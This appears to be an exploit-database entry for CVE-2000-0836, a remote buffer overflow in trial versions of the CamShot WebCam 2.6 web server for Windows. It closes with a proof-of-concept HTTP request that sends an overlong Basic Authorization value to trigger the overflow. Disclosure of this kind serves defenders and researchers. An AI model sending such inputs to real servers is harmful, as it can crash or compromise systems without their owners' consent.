CamShot WebCam 2.6 Trial - Remote Buffer Overflow

Author: SecuriTeam
type: remote
platform: windows
port: 
date_added: 2000-09-15 
date_updated: 2012-08-03 
verified: 1 
codes: CVE-2000-0836;OSVDB-13178 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1685/info

CamShot is a Windows 95/98/2000/NT web server that serves up web pages containing time stamped images captured from a video camera. The images can be viewed from anywhere on the network with a web browser. CamShot works with Video For Windows compatible video equipment. Certain trial versions of this software contain a possibly exploitable remote buffer overflow by way of a overly long user supplied 'Authorization' password.

It is not known if supported commercial versions of this software contain the same vulnerability.

Example:

GET / HTTP/1.1<enter>
Authorization: Basic ['a'x325]<enter><enter>